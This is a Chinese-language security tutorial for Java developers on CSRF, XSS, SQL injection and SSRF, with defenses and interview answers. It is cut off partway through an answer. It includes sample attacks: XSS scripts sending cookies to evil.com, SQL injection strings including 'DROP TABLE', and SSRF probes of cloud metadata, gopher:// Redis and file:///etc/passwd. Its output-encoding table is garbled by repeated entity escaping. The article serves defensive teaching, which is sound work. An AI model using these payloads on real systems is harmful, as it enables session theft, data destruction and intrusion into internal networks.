226|Web安全漏洞与防御:CSRF、XSS、SQL注入、SSRF

安全架构约 23 分钟阅读13,351 字符
知识库文档 227 / 251

阅读时间:约 45 分钟 面向读者:Java 后端工程师、技术专家、架构师 前置知识:HTTP 协议基础、Cookie/Session 机制、SQL 基础、Java Web 开发


一、引言:安全不是功能,是架构的底色

2017 年,Equifax 因一个未修复的 Apache Struts 漏洞(CVE-2017-5638)导致 1.47 亿用户数据泄露,CEO 引咎辞职。2021 年,Log4j2 的 JNDI 注入漏洞(CVE-2021-44228)让半个互联网陷入恐慌。这些事件的共同点:攻击者利用的并非复杂的零日漏洞,而是开发者习以为常的输入边界问题。

Web 安全漏洞的本质,是信任边界被跨越。浏览器信任了恶意脚本、服务端信任了伪造请求、数据库信任了拼接的 SQL、网络层信任了内网地址——每一次信任的滥用,都可能成为攻击的入口。

本文聚焦四个最经典的 Web 安全漏洞——CSRF、XSS、SQL 注入、SSRF——从攻击原理到防御措施,从代码层面到架构层面,系统性地拆解它们的工作方式和防御手段。


二、CSRF:跨站请求伪造

2.1 攻击原理

CSRF(Cross-Site Request Forgery)利用的是浏览器自动携带 Cookie 的机制。当你登录了 bank.com,浏览器保存了认证 Cookie,此时如果你访问了 evil.com 上的一个页面,evil.com 可以构造一个指向 bank.com/transfer 的请求——浏览器会自动带上 bank.com 的 Cookie,服务端看到有效 Cookie 就认为这是合法请求。

code
用户 ──登录──▶ bank.com(获得 Cookie)
  │
  └──访问 evil.com(恶意页面)
        │
        └──自动发起请求──▶ bank.com/transfer?to=hacker&amount=10000
                              │
                              └──浏览器自动携带 bank.com 的 Cookie
                                   │
                                   └──服务端:Cookie 有效 → 执行转账

文章配图
文章配图

核心问题:服务端无法区分请求是"用户主动发起的"还是"被第三方页面诱导发起的"。

2.2 攻击场景

场景一:GET 型 CSRF

html
<!-- evil.com 上的恶意页面 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">

浏览器加载这张"图片"时,会自动发起 GET 请求并携带 Cookie。

场景二:POST 型 CSRF

html
<form id="csrf-form" action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="hacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>

场景三:JSON 型 CSRF(利用 CORS 配置缺陷)

当服务端的 CORS 配置不当(如 Access-Control-Allow-Origin: * 且 Access-Control-Allow-Credentials: true),攻击者可以跨域发送 JSON 请求:

javascript
fetch('https://bank.com/api/transfer', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ to: 'hacker', amount: 10000 })
});

2.3 防御措施

2.3.1 反 CSRF Token(同步器令牌模式)

这是最经典的防御手段。服务端生成一个随机 Token,同时存入 Session 和前端页面(通常作为隐藏字段)。每次请求必须携带此 Token,服务端校验。

java
// Spring Security 的 CSRF 保护
http.csrf()
    .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());

原理:攻击者构造的请求无法获取到用户 Session 中绑定的 Token(同源策略限制),因此请求会被拒绝。

注意事项:

  • Token 必须与用户 Session 绑定,不能是全局固定的
  • Token 需要足够随机(使用 SecureRandom)
  • 对于前后端分离架构,可以采用"双重提交 Cookie"模式:前端从 Cookie 中读取 Token,在请求头中发送,服务端比较两者

2.3.2 SameSite Cookie

这是浏览器层面的防御,也是最简单有效的方案:

http
Set-Cookie: sessionid=abc123; SameSite=Strict
SameSite 值 行为
Strict 完全禁止第三方 Cookie,任何跨站请求都不携带。最安全,但用户从外部链接点击进入时不会自动登录。
Lax 允许顶级导航(如点击链接)时携带 Cookie,禁止子请求(img、iframe、AJAX)携带。Chrome 默认值。
None 不限制,但必须同时设置 Secure(仅 HTTPS)。

局限性:SameSite 依赖浏览器支持,旧浏览器不兼容;且对同站攻击(如同一个域下的不同子域名)无效。

2.3.3 Origin/Referer 校验

检查请求头中的 Origin 或 Referer 字段,拒绝非同源的请求。

java
// Spring 拦截器示例
public boolean preHandle(HttpServletRequest request, ...) {
    String origin = request.getHeader("Origin");
    if (origin == null || !allowedOrigins.contains(origin)) {
        response.sendError(403, "CSRF check failed");
        return false;
    }
    return true;
}

注意:Referer 可能被用户浏览器隐私设置移除,Origin 在某些场景下(如跨域重定向)也不会发送,因此不应作为唯一防线。

2.3.4 自定义请求头

利用同源策略的限制:其他域无法在请求中添加自定义头(除非 CORS 明确允许)。前端可以在每个 AJAX 请求中添加一个自定义头:

javascript
// 前端 Axios 拦截器
axios.interceptors.request.use(config => {
    config.headers['X-Requested-With'] = 'XMLHttpRequest';
    return config;
});

服务端校验此头是否存在。但注意:这只能防御跨域请求,不能防御同源下的 CSRF。

2.3.5 关键操作二次验证

对于转账、修改密码等敏感操作,要求用户输入密码或验证码,这是最彻底的防御——因为攻击者无法知道用户的密码。

文章配图
文章配图


三、XSS:跨站脚本攻击

3.1 攻击原理

XSS(Cross-Site Scripting)是攻击者将恶意脚本注入到目标网站页面中,当用户访问该页面时,脚本在用户浏览器中执行,从而窃取 Cookie、敏感信息或劫持用户操作。

XSS 的本质是数据和代码的边界模糊。当用户输入的内容被当作 HTML/JavaScript 代码执行时,XSS 就发生了。

3.2 三种类型

3.2.1 反射型 XSS

恶意脚本通过 URL 参数传入,服务端将其直接嵌入响应页面。

code
攻击者发送链接:https://site.com/search?q=<script>fetch('https://evil.com?cookie='+document.cookie)</script>

服务端代码:
<h1>搜索结果:${request.getParameter("q")}</h1>

浏览器渲染结果:
<h1>搜索结果:<script>fetch('https://evil.com?cookie='+document.cookie)</script></h1>

特点:一次性,需要用户点击恶意链接;非持久化。

3.2.2 存储型 XSS

恶意脚本被持久化存储到服务端(数据库、文件、缓存),每次用户访问受影响的页面时都会触发。

code
攻击者提交评论:<script>new Image().src='https://evil.com/steal?c='+document.cookie</script>
             ↓
        存入数据库
             ↓
   其他用户访问评论页面
             ↓
       脚本在所有人浏览器中执行

危害最大:影响范围广,隐蔽性强,常用于盗取管理员 Cookie 或传播蠕虫。

3.2.3 DOM 型 XSS

完全在客户端发生,不经过服务端。JavaScript 从 URL 或 DOM 中提取数据并写入页面,如果未经转义,就会触发。

javascript
// 有漏洞的前端代码
const name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').innerHTML = `欢迎,${name}`;

// 攻击
// https://site.com/welcome?name=<img src=x onerror="alert(document.cookie)">

特点:服务端日志和 WAF 都看不到,因为恶意数据不经过服务端。

文章配图
文章配图

3.3 防御措施

3.3.1 输出编码(最重要)

根据不同的输出上下文,选择不同的编码方式。

上下文 编码方式 示例
HTML 文本 HTML 实体编码 &amp;amp;amp;amp;amp; → &amp;amp;amp;amp;amp;amp;,&amp;amp;amp;amp;lt; → &amp;amp;amp;amp;amp;lt;
HTML 属性 属性值编码 对 "&amp;amp;amp;#96;&amp;amp;amp;#96;' 等进行编码
JavaScript JS 字符串转义 &amp;amp;amp;amp;#92;x3C 替代 &amp;amp;amp;amp;lt;
URL URL 编码 encodeURIComponent()
CSS CSS 转义 &amp;amp;amp;amp;#92;3C 替代 &amp;amp;amp;amp;lt;

危险做法:

java
// 不要这样做
out.println("<div>" + userInput + "</div>");

安全做法:

java
// 使用模板引擎的自动转义
// Thymeleaf 默认对 th:text 进行 HTML 转义
<div th:text="${userInput}"></div>

// 或使用 OWASP 编码器
String safe = Encode.forHtml(userInput);

3.3.2 Content Security Policy(CSP)

CSP 是浏览器层面的防御机制,通过 HTTP 头告诉浏览器允许加载哪些来源的资源:

http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'
  • script-src 'self':只允许加载同源的脚本,阻止内联脚本
  • nonce-{random}:允许带有指定 nonce 属性的脚本,每次请求随机生成
  • 禁止 eval()、setTimeout(string) 等字符串到代码的转换

CSP 的价值:即使攻击者成功注入了脚本标签,浏览器也会拒绝执行,因为脚本不在 CSP 白名单中。CSP 是纵深防御的关键一环。

3.3.3 HttpOnly Cookie

将 Cookie 标记为 HttpOnly,禁止 JavaScript 通过 document.cookie 读取:

http
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

效果:即使 XSS 攻击成功,攻击者也无法窃取 Session Cookie。但这不能阻止攻击者利用 XSS 执行其他操作(如发送请求、修改页面内容)。

3.3.4 输入验证与净化

对用户输入进行白名单校验,并使用 HTML 净化库处理富文本:

java
// 使用 OWASP HTML Sanitizer
PolicyFactory policy = new HtmlPolicyBuilder()
    .allowElements("b", "i", "p", "br")
    .allowUrlProtocols("https")
    .toFactory();
String safeHtml = policy.sanitize(userInput);

原则:白名单优于黑名单。黑名单(如过滤 <script>)总会被绕过——<scr<script>ipt>、<img onerror=...>、<svg onload=...> 等。

3.3.5 前端框架的内置保护

现代前端框架对 XSS 有天然的保护:

框架 保护机制
React JSX 默认转义所有嵌入值;dangerouslySetInnerHTML 需要显式使用
Vue 模板插值 {{ }} 自动转义;v-html 需要显式使用
Angular 默认对所有值进行净化;bypassSecurityTrustHtml 需要显式调用

关键原则:不要绕过框架的安全机制。一旦使用 dangerouslySetInnerHTML 或 v-html,就失去了自动保护。


四、SQL 注入

4.1 攻击原理

SQL 注入是将恶意的 SQL 片段拼接到正常查询中,改变原始 SQL 的语义,从而执行非预期的数据库操作。

code
正常查询:
SELECT * FROM users WHERE username = '${username}' AND password = '${password}'

攻击输入:
username: admin' --
password: 任意值

拼接后的 SQL:
SELECT * FROM users WHERE username = 'admin' --' AND password = '任意值'
                                        ↑
                                    -- 后面的部分被注释掉了

4.2 注入类型

4.2.1 经典注入

sql
-- 绕过登录
' OR '1'='1' --

-- UNION 注入:获取其他表数据
' UNION SELECT username, password FROM admin_users --

-- 堆叠查询(多语句执行)
'; DROP TABLE users; --

4.2.2 盲注

当页面不直接返回数据库错误或数据,但存在行为差异时使用:

布尔盲注:

sql
-- 逐步猜解数据
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --

通过观察页面返回的不同响应(如"用户存在" vs "用户不存在"),逐字符猜解密码。

时间盲注:

sql
-- 利用延时函数判断条件
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --

如果响应延迟了 5 秒,说明密码的第一个字符是 'a'。

4.2.3 二次注入

攻击者先将恶意数据存入数据库,之后在另一个查询中,该数据作为 SQL 片段被执行:

code
1. 注册用户名为:admin' --
2. 修改密码时,系统查询当前用户名拼接到 SQL:
   UPDATE users SET password='new' WHERE username='admin' --'
3. 实际执行:UPDATE users SET password='new' WHERE username='admin'
   → 修改了 admin 的密码!

4.2.4 Order By 注入

ORDER BY 后面的参数通常不能使用参数化查询,成为注入点:

java
// 有漏洞的代码
String sql = "SELECT * FROM users ORDER BY " + sortField;
// 攻击:sortField = "IF(SLEEP(5), id, username)"

文章配图
文章配图

4.3 防御措施

4.3.1 参数化查询(PreparedStatement)

这是 SQL 注入的"终极解决方案"——将 SQL 结构和数据分离:

java
// 安全写法
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();

原理:参数化查询在数据库层面将 SQL 语句和参数分开处理。SQL 结构在编译阶段确定,参数作为数据单独传递,不会影响 SQL 的语义树。

JPA/Hibernate 也安全:

java
// JPQL 参数绑定
Query query = entityManager.createQuery(
    "SELECT u FROM User u WHERE u.username = :username"
);
query.setParameter("username", username);

ORM 的原生 SQL 拼接仍然危险:

java
// 危险!
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
Query query = entityManager.createNativeQuery(sql);

4.3.2 输入验证与白名单

对于无法参数化的场景(如 ORDER BY、表名、列名),使用白名单:

java
private static final Set<String> ALLOWED_COLUMNS = Set.of("id", "username", "create_time");
private static final Set<String> ALLOWED_DIRECTIONS = Set.of("ASC", "DESC");

public List<User> getUsersByOrder(String orderBy, String direction) {
    if (orderBy == null || !ALLOWED_COLUMNS.contains(orderBy)) {
        throw new IllegalArgumentException("Invalid column: " + orderBy);
    }
    if (direction == null || !ALLOWED_DIRECTIONS.contains(direction.toUpperCase())) {
        throw new IllegalArgumentException("Invalid direction: " + direction);
    }
    // 白名单校验通过后,可以安全拼接
    String sql = "SELECT * FROM users ORDER BY " + orderBy + " " + direction.toUpperCase();
    return jdbcTemplate.query(sql, new UserRowMapper());
}

4.3.3 最小权限原则

数据库连接账号只授予必需的权限:

  • 应用账号只给 SELECT、INSERT、UPDATE、DELETE,不给 DROP、ALTER
  • 不同微服务使用不同的数据库账号
  • 读写分离:读操作使用只读账号
sql
-- 创建受限账号
CREATE USER 'app_user'@'%' IDENTIFIED BY '...';
GRANT SELECT, INSERT, UPDATE, DELETE ON mydb.* TO 'app_user'@'%';
-- 不授予 DROP、ALTER、CREATE 等 DDL 权限

4.3.4 错误信息屏蔽

不向客户端暴露数据库错误信息:

java
// 生产环境配置
// application.yml
server:
  error:
    include-stacktrace: never
    include-message: never
    include-exception: false

4.3.5 WAF 与数据库防火墙

Web 应用防火墙(WAF)可以检测和拦截常见的 SQL 注入模式。但 WAF 不能替代代码层面的安全措施——它只是纵深防御的一环。


五、SSRF:服务端请求伪造

5.1 攻击原理

SSRF(Server-Side Request Forgery)是攻击者诱导服务端向非预期的目标发起请求。与 CSRF 不同,SSRF 的请求是从服务端发出的,而不是从浏览器。

code
攻击者 ──输入URL──▶ 目标服务器 ──发起请求──▶ 内网资源
                                            │
                                    ┌───────┼───────┐
                                    ▼       ▼       ▼
                                  Redis   MySQL   元数据服务
                                 (未鉴权)  (内网)  (169.254.169.254)

文章配图
文章配图

核心问题:服务端获取URL内容的功能可以作为跳板,访问攻击者原本无法直接访问的内网资源。

5.2 攻击场景

5.2.1 内网探测

java
// 有漏洞的图片代理功能
@GetMapping("/proxy")

public byte[ ] proxyImage(@RequestParam String url) {


    return restTemplate.getForObject(url, byte[ ].class);

}

攻击者可以:

  • http://192.168.1.1:6379/ → 探测内网 Redis 是否存活
  • http://169.254.169.254/latest/meta-data/ → 读取云服务器元数据(AWS/阿里云)
  • http://127.0.0.1:8080/admin/ → 访问本地管理接口

5.2.2 协议利用

不仅是 HTTP/HTTPS,SSRF 可能利用其他协议:

code
file:///etc/passwd          → 读取本地文件
gopher://127.0.0.1:6379/_*3  → 攻击内网 Redis
dict://127.0.0.1:11211/      → 探测内网 Memcached

5.2.3 绕过IP限制

攻击者通过多种编码方式绕过"禁止内网地址"的检查:

code
http://2130706433/          → 十进制 IP = 127.0.0.1
http://0x7f000001/          → 十六进制 IP = 127.0.0.1
http://127.0.0.1.xip.io/    → DNS 解析到 127.0.0.1
http://[::ffff:127.0.0.1]/  → IPv6 映射
http://localhost/            → 非 IP 形式的本地地址

5.3 防御措施

5.3.1 白名单(最推荐)

只允许访问预定义的目标域名或 IP 范围:

java
public class SSRFPrevention {
    private static final Set<String> ALLOWED_HOSTS = Set.of(
        "cdn.example.com",
        "static.example.com"
    );

    public static boolean isAllowed(String url) {
        try {
            URI uri = new URI(url);
            String host = uri.getHost();
            return host != null && ALLOWED_HOSTS.contains(host);
        } catch (URISyntaxException e) {
            return false;
        }
    }
}

5.3.2 禁止内网地址

解析 URL 的 IP 地址,拒绝内网地址段:

java
public static boolean isInternalAddress(String host) {
    InetAddress address = InetAddress.getByName(host);
    if (address.isLoopbackAddress() ||          // 127.x.x.x
        address.isLinkLocalAddress() ||         // 169.254.x.x
        address.isSiteLocalAddress()) {         // 10.x, 172.16-31.x, 192.168.x
        return true;
    }
    return false;
}

注意:必须先用 InetAddress.getByName() 解析,而不是直接匹配字符串——否则十进制 IP、十六进制 IP 等变体可以绕过字符串匹配。

5.3.3 禁用危险协议

只允许 http 和 https 协议:

java
public static boolean isAllowedProtocol(String url) {
    try {
        URI uri = new URI(url);
        String scheme = uri.getScheme();
        return "http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme);
    } catch (URISyntaxException e) {
        return false;
    }
}

5.3.4 禁止 302 跳转到内网

攻击者可以通过 302 重定向绕过 IP 检查:

code
1. 攻击者部署:https://evil.com/redirect → 302 → http://169.254.169.254/
2. 目标服务器请求 https://evil.com/redirect
3. IP 检查通过(evil.com 是公网地址)
4. HTTP 客户端自动跟随 302 → 访问了内网元数据服务

防御:配置 HTTP 客户端禁止自动重定向,或对每次重定向的目标也进行 IP 检查:

java
RestTemplate restTemplate = new RestTemplate();
// 方案一:禁止自动重定向
restTemplate.setRequestFactory(new HttpComponentsClientHttpRequestFactory() {{
    setHttpClient(HttpClients.custom()
        .disableRedirectHandling()
        .build());
}});

// 方案二:自定义拦截器,每次重定向都检查
// 使用 RestTemplate 的拦截器,在每次请求前校验目标 IP

5.3.5 网络隔离

从架构层面,将服务按安全等级部署在不同网络区域:

code
外网 DMZ 区(Web 服务器)
    │
    ├── 只能访问 ──▶ 业务服务区(应用服务器)
    │                    │
    │                    ├── 只能访问 ──▶ 数据库区
    │                    │
    │                    └── 禁止访问 ──▶ 管理网段
    │
    └── 禁止访问内网其他区域

即使 SSRF 漏洞存在,网络隔离也能限制攻击者能访问的范围。


六、综合防御体系

6.1 纵深防御

没有任何单一措施能100%防御所有攻击。安全的正确姿势是纵深防御——多层防护,即使一层被突破,后续层仍然有效。

code
第一层:输入验证(白名单、类型检查、长度限制)
    ↓ 被绕过
第二层:输出编码(HTML 转义、参数化查询)
    ↓ 被绕过
第三层:安全头(CSP、HttpOnly、SameSite)
    ↓ 被绕过
第四层:WAF / RASP(运行时检测)
    ↓ 被绕过
第五层:最小权限(数据库权限、网络隔离)
    ↓ 被绕过
第六层:监控告警(异常检测、审计日志)

文章配图
文章配图

6.2 安全开发流程

code
需求阶段 ──▶ 威胁建模(识别攻击面)
    ↓
设计阶段 ──▶ 安全架构评审(STRIDE 模型)
    ↓
开发阶段 ──▶ 安全编码规范 + 静态分析(SAST)
    ↓
测试阶段 ──▶ 安全测试(DAST + IAST + 渗透测试)
    ↓
上线阶段 ──▶ 安全配置检查 + WAF 规则
    ↓
运维阶段 ──▶ 漏洞扫描 + 依赖检查 + 应急响应

文章配图
文章配图

6.3 关键工具链

工具 类型 用途
SonarQube + FindBugs/SpotBugs SAST 静态代码扫描,发现 SQL 注入、XSS 等
OWASP Dependency-Check SCA 检查依赖库的已知漏洞
OWASP ZAP / Burp Suite DAST 动态扫描,模拟攻击
ModSecurity WAF 实时拦截攻击流量
OWASP ESAPI / Encoder 编码库 安全的输出编码
sqlmap 渗透测试 SQL 注入检测与利用

七、漏洞对比总结

维度 CSRF XSS SQL 注入 SSRF
攻击目标 利用用户身份 窃取用户数据/执行脚本 窃取/篡改数据库数据 利用服务端访问内网
攻击位置 浏览器 → 服务端 服务端 → 浏览器 → 用户 客户端 → 服务端 → 数据库 客户端 → 服务端 → 内网
核心问题 服务端无法区分请求来源 数据与代码边界模糊 数据与 SQL 结构混合 服务端请求目标不可控
核心防御 CSRF Token + SameSite 输出编码 + CSP 参数化查询 URL 白名单 + 协议限制
防御难度 ★★☆ ★★★ ★☆☆ ★★★
OWASP Top 10 曾是独立项 持续上榜 持续上榜 持续上榜

文章配图
文章配图


八、文末:面试官视角提问

以下问题从面试官视角出发,考察对安全原理的深度理解,而非照本宣科。建议在理解全文后尝试回答。

1. CSRF Token 为什么通常放在 Session 中而不是 Cookie 中?如果放在 Cookie 中会有什么问题?(提示:考虑 Cookie 的自动携带特性)

2. 有人说"使用了 HTTPS 就不会有 XSS 问题",这句话对吗?HTTPS 能防御什么,不能防御什么?

3. 参数化查询能防御所有 SQL 注入吗?在什么场景下 PreparedStatement 也无法保护你?请举例说明。

4. 如果业务必须允许用户输入 URL 来进行图片下载(头像上传功能),你如何设计防御 SSRF?请列出从 URL 解析到发起请求的完整校验流程。

5. 一个电商网站的用户反馈"我的账号被异地登录了",你作为安全工程师,需要排查这是 CSRF 攻击、XSS 攻击还是 Session 固定攻击,你会从哪些日志和维度来区分?

6. CSP 的 nonce 和 hash 模式各有什么优缺点?为什么 'unsafe-inline' 和 'unsafe-eval' 是危险的?

7. 设计一个安全的"忘记密码"功能,需要防范哪些安全风险?密码重置 Token 应该如何生成、存储、传输和过期?

8. 在微服务架构中,服务间调用(如 A 服务通过 HTTP 调用 B 服务)是否也需要防范 CSRF?为什么?如果需要在服务间传递用户身份,应该如何设计?


九、面试官提问 · 参考答案

Q1:CSRF Token 为什么通常放在 Session 中而不是 Cookie 中?如果放在 Cookie 中会有什么问题?

参考答案:

CSRF Token 放在 Session 中是因为Session 是服务端存储,攻击者无法从外部读取。CSRF 攻击的本质是浏览器自动携带 Cookie,但攻击者构造的恶意页面无法读取目标站点的响应内容(同源策略限制),因此也无法获取嵌入在页面中的 CSRF Token。

如果 Token 放在 Cookie 中,会出现两个问题:

  1. Cookie 自动携带:浏览器在发起跨站请求时也会自动携带该 Cookie(除非 SameSite=Strict),攻击者构造的请求中就会包含 Token,服务端看到 Cookie 中的 Token 和请求参数中的 Token 一致,校验通过——CSRF 防御形同虚设。
  2. 双重提交 Cookie 的隐患:有一种变体叫"双重提交 Cookie 模式"——前端从 Cookie 读取 Token 放入请求头(如 X-CSRF-Token),服务端比对 Cookie 和请求头中的值。这种模式不依赖 Session,适合无状态架构。但前提是所有子域名都必须安全——如果攻击者控制了 sub.evil.example.com,就能在该子域下写入 Cookie(通过 Set-Cookie: domain=.example.com),从而伪造 Token。

最佳实践:优先使用 Session 存储 Token;如果必须使用无状态方案,双重提交 Cookie + SameSite=Strict+ 子域名严格控制可以提供足够的保护。


Q2:有人说"使用了 HTTPS 就不会有 XSS 问题",这句话对吗?HTTPS 能防御什么,不能防御什么?

参考答案:

这句话完全错误。HTTPS 和 XSS 是不同层面的安全机制,它们之间没有直接的防御关系。

HTTPS 能防御的:

  • 传输层窃听:防止中间人(MITM)在传输过程中截获或篡改页面内容
  • 数据完整性:确保浏览器接收到的内容确实来自服务器,未被篡改
  • 身份验证:通过证书验证服务器身份,防止钓鱼网站

HTTPS 不能防御的(与 XSS 直接相关):

  • 反射型 XSS:恶意脚本通过 URL 参数传入,服务器端拼接后返回——整个过程在 HTTPS 加密通道内完成,HTTPS 不会过滤或转义任何内容
  • 存储型 XSS:攻击者将恶意脚本提交到数据库中,其他用户访问时服务器从数据库读取并渲染——HTTPS 只保证传输安全,不保证内容安全
  • DOM 型 XSS:完全在客户端发生,恶意数据从 URL 片段(#)或 location.search 中提取,不经过网络传输,HTTPS 完全无法干预

类比:HTTPS 相当于给快递包裹加了一把锁,确保快递在路上不会被拆开或调包。但如果寄件人(服务器)本身就往包裹里放了炸弹(恶意脚本),锁并不能让炸弹失效。


Q3:参数化查询能防御所有 SQL 注入吗?在什么场景下 PreparedStatement 也无法保护你?

参考答案:

参数化查询不能防御所有 SQL 注入。它的核心原理是将 SQL 结构和数据分离——参数值不会被当作 SQL 代码执行。但以下场景中,PreparedStatement 无法保护你:

1. 动态表名/列名/ORDER BY/GROUP BY

java
// PreparedStatement 无法参数化表名和列名
String sql = "SELECT * FROM " + tableName + " WHERE id = ?";  // tableName 可能来自用户输入
// 攻击者传入 tableName = "users; DROP TABLE orders; --"

PreparedStatement 的 ? 占位符只能用于值的位置(如 WHERE id = ? 中的 ?),不能用于 SQL 标识符(表名、列名)。因为数据库在解析阶段就需要确定 SQL 的结构(涉及哪些表、哪些列),而参数化查询只是将运行时的值替换到已确定的结构中。

2. LIKE 模糊查询中的通配符注入

java
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name LIKE ?");
ps.setString(1, "%" + userInput + "%");  // userInput = "admin" → 正常
// 但 userInput = "%" → 匹配所有用户,虽然不算注入但可能信息泄露

3. 存储过程中的动态 SQL

sql
CREATE PROCEDURE search_users(IN keyword VARCHAR(100))
BEGIN
    SET @sql = CONCAT('SELECT * FROM users WHERE name LIKE ''%', keyword, '%''');
    PREPARE stmt FROM @sql;
    EXECUTE stmt;
END

存储过程内部拼接 SQL 同样有注入风险,即使外部调用使用了参数化。

4. ORM 框架的原生 SQL 拼接

java
// 危险:JPA 原生查询拼接
String username = request.getParameter("username");
Query q = entityManager.createNativeQuery(
    "SELECT * FROM users WHERE username = '" + username + "'"
);

防御方案:对于动态表名/列名场景,使用白名单校验;对于 LIKE 查询,额外转义 % 和 _ 通配符;对于存储过程,避免在过程内部拼接 SQL。


Q4:如果业务必须允许用户输入 URL 来进行图片下载(头像上传功能),你如何设计防御 SSRF?请列出从 URL 解析到发起请求的完整校验流程。

参考答案:

设计一个从 URL 解析到发起请求的完整校验流程,需要多层纵深防御,每一层都可能被绕过,因此必须层层把关:

第 1 步:协议白名单校验

code
输入 URL → 解析 Scheme → 只允许 http/https
拒绝:file://, gopher://, dict://, ftp://, jar:// 等

第 2 步:DNS 解析 + IP 黑名单校验

这是最关键的一步,必须在发起请求前完成 DNS 解析,并对解析结果进行判断:

code
解析域名 → 获取所有 IP 地址(IPv4 + IPv6)
  → 拒绝回环地址:127.0.0.0/8, ::1
  → 拒绝链路本地地址:169.254.0.0/16, fe80::/10
  → 拒绝站点本地地址(内网):10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7
  → 拒绝特殊地址:0.0.0.0, 224.0.0.0/4(组播), 240.0.0.0/4(保留)
  → 拒绝云厂商元数据地址:169.254.169.254(AWS/阿里云等)

注意:不要用字符串匹配来判断 IP(如 startsWith("127.")),攻击者可以使用十进制 IP(http://2130706433/)、十六进制(http://0x7f000001/)、IPv6 映射(http://[::ffff:127.0.0.1]/)等方式绕过。必须先通过**InetAddress.getByName()**解析,然后对解析结果进行 IP 段判断。

第 3 步:DNS Rebinding 防护

攻击者可以设置一个域名,第一次解析返回公网 IP(通过校验),第二次解析返回内网 IP(发起实际请求):

code
防御方案:
  → 解析 IP 后立即发起请求,复用同一个 IP(避免二次解析)
  → 或者在请求完成后再次验证目标 IP 是否为内网地址
  → 使用自定义 DNS 解析器,缓存第一次解析结果

第 4 步:禁止 302 重定向到内网

code
配置 HTTP 客户端:
  → 方案 A:完全禁止自动重定向(RestTemplate disableRedirectHandling)
  → 方案 B:自定义重定向拦截器,每次重定向目标也执行第 2 步的 IP 校验

第 5 步:请求限制

code
  → 限制请求方法:仅允许 GET
  → 限制响应大小:如最大 10MB(防止下载超大文件耗尽内存)
  → 限制请求超时:连接超时 3s,读取超时 10s
  → 限制 Content-Type:仅接受 image/* 类型
  → 限制端口:仅允许 80, 443(拒绝访问非标准端口上的内网服务)

第 6 步:内容校验

code
获取响应后 → 校验 Content-Type 为 image/png, image/jpeg 等
  → 校验文件魔数(Magic Bytes):
      PNG: 89 50 4E 47
      JPEG: FF D8 FF
      GIF: 47 49 46 38
  → 图片重新编码(去除可能的恶意元数据/polyglot 文件)
  → 保存到 OSS/CDN,使用随机文件名

面试加分点:提到"即使所有校验都做了,仍然建议将图片下载功能部署在独立的外网代理服务中,该服务本身不部署在内网,即使 SSRF 成功也无法访问内网资源"——这是纵深防御的最高境界:网络隔离。


Q5:一个电商网站的用户反馈"我的账号被异地登录了",你作为安全工程师,需要排查这是 CSRF 攻击、XSS 攻击还是 Session 固定攻击,你会从哪些日志和维度来区分?

参考答案:

这是一个典型的安全事件溯源问题,考察的是对不同攻击方式特征的理解和实际排查能力。

排查维度和分析框架:

1. 时间线分析

日志来源 关注内容
登录日志 异常登录的时间、IP、User-Agent、登录方式(密码/SSO/Token)
操作日志 异常操作发生的时间、操作类型、请求参数
访问日志(Nginx/Gateway) Referer、Origin、来源页面、请求序列
安全日志(WAF/RASP) 是否有 XSS/SQLi 告警

2. 区分 CSRF 攻击的关键特征

  • Referer 异常:CSRF 请求的 Referer 通常来自第三方站点(evil.com),而不是本站页面
  • 操作类型:CSRF 通常触发的是"状态变更操作"(转账、修改资料),而非"读取操作"
  • 请求来源页面:检查用户是否在操作前访问了可疑的外部页面
  • 缺少 CSRF Token:如果 CSRF Token 校验失败但仍成功——说明 Token 校验逻辑有漏洞
  • 判定:如果异常请求的 Referer 都来自同一个外部站点,且操作时间集中在用户点击了某个可疑链接之后 → CSRF 攻击

3. 区分 XSS 攻击的关键特征

  • 操作发生在用户活跃会话中:XSS 窃取 Cookie 后,攻击者用自己的浏览器/工具发起请求,IP 和 User-Agent 会与正常用户不同
  • Cookie 被盗特征:如果在异常登录发生前,用户访问了某个包含可疑脚本的页面,且该页面的访问日志中有异常的外部请求(如向 evil.com 发送 Cookie)→ XSS
  • CSP 报告:如果配置了 CSP 报告端点(report-uri),检查是否有注入脚本的违规报告
  • 判定:如果异常登录的 IP 和浏览器指纹(User-Agent、屏幕分辨率等)与正常用户完全不同,且存在 XSS 注入的页面访问记录 → XSS 攻击

4. 区分 Session 固定攻击的关键特征

  • Session ID 在登录前后未变化:这是最关键的判断依据。如果用户在登录前就被分配了一个 Session ID(如 JSESSIONID=ABC123),登录后这个 Session ID 没有改变,攻击者就可以用同一个 Session ID 访问
  • 登录前已有可疑请求:攻击者通常先诱导用户使用一个已知的 Session ID 访问站点
  • 判定:如果登录日志显示 Session ID 在认证前后一致,且用户在登录前点击了带有 ?JSESSIONID=xxx 参数的链接 → Session 固定攻击

5. 排除法总结

攻击类型 关键特征 决定性证据
CSRF 第三方 Referer、批量操作 Referer 不在白名单
XSS 不同 IP/UA、Cookie 外泄 CSP 报告 + 访问日志中注入点
Session 固定 Session ID 登录前后不变 登录日志中 Session 未轮换

6. 应急响应措施

不管哪种攻击,首先执行:

  1. 强制该用户所有 Session 失效
  2. 重置用户密码
  3. 检查是否有敏感操作被触发(资金变动、权限变更)
  4. 保留所有相关日志,启动深度溯源

Q6:CSP 的 `nonce` 和 `hash` 模式各有什么优缺点?为什么 `'unsafe-inline'` 和 `'unsafe-eval'` 是危险的?

参考答案:

nonce 模式(随机数)

优点 缺点
灵活,每个脚本块可以有不同的 nonce 每次页面加载都需要生成新的 nonce
